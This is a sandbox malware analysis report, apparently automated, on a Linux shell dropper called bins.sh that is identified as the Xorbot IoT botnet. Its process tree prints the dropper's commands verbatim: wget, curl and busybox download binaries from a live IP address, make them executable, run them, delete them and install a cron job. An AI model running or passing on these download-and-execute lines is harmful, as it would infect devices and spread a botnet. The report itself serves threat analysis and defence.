Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/01/2025, 23:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250114-3z5fyawkdm
  • SHA256 ea8c288f548d67fd450147c9aba41260873d66fc91fff497a6540f83554bded5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1953) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://66.63.187.225/bins/QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:679
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
          ./QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
          2⤵
          • Executes dropped EXE
          PID:694
        • /bin/rm
          rm QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://66.63.187.225/bins/fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
            2⤵
            • Writes file to tmp directory
            PID:697
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:716
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
            2⤵
            • Writes file to tmp directory
            PID:731
          • /bin/chmod
            chmod 777 fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
            ./fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://66.63.187.225/bins/z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod 777 z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
              2⤵
              • File and Directory Permissions Modification
              PID:772
            • /tmp/z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
              ./z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
              2⤵
              • Executes dropped EXE
              PID:774
            • /bin/rm
              rm z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
              2⤵
                PID:778
              • /usr/bin/wget
                wget http://66.63.187.225/bins/McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                2⤵
                • Writes file to tmp directory
                PID:779
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                2⤵
                • Writes file to tmp directory
                PID:781
              • /bin/chmod
                chmod 777 McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                2⤵
                • File and Directory Permissions Modification
                PID:782
              • /tmp/McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                ./McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                2⤵
                • Executes dropped EXE
                PID:783
              • /bin/rm
                rm McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                2⤵
                  PID:785
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                  2⤵
                  • Writes file to tmp directory
                  PID:786
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:787
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                  2⤵
                  • Writes file to tmp directory
                  PID:788
                • /bin/chmod
                  chmod 777 FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:789
                • /tmp/FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                  ./FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:790
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:792
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:793
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:794
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:795
                      • /bin/rm
                        rm FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                        2⤵
                          PID:798
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/QKrr9InYd6fyuy5E4uzsUENn5twtSoqxBl
                          2⤵
                            PID:801

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                              • Path /tmp/FGToyaQQK3SgsBZw0VxRuv2Pp0q4251ihZ
                              • Size 177KB
                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                              • Path /tmp/McEALcKqT8O35ItjXBs3rKKz4tetZaay27
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
                              • Path /tmp/QLmDOspXJaR7TfWRNFTAhpm9baPpqqqnCy
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
                              • Path /tmp/fZpoa0gbQyjTCvsCvYIzepoFXsmD1855Jm
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
                              • Path /tmp/z3iKlsXb0epAdtfjCTwciFVbWndRk8aENw
                              • Size 107KB
                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.yKmYWl
                              • Path /var/spool/cron/crontabs/tmp.yKmYWl
                              • Size 210B
                              • SHA256 8a637732f6e907402df7482ccf50736de0dac1105e05a8b9edb2a6a8383903ba
                              • MD5 SHA1 SHA512
                              Submit Download